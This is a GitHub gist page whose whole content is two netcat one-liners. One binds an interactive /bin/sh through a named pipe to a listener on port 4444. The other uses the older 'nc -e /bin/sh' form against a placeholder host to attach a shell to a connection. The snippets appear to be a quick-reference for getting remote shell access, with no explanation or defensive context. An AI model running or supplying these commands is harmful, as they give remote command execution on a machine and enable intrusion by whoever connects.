Skip to content

Instantly share code, notes, and snippets.

@timothyleung
Created November 15, 2016 04:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timothyleung/921e368bc6c0771d15a6547f5ef4bb35 to your computer and use it in GitHub Desktop.
Save timothyleung/921e368bc6c0771d15a6547f5ef4bb35 to your computer and use it in GitHub Desktop.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f # for new version of nc
nc -e /bin/sh blah # old version of nc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment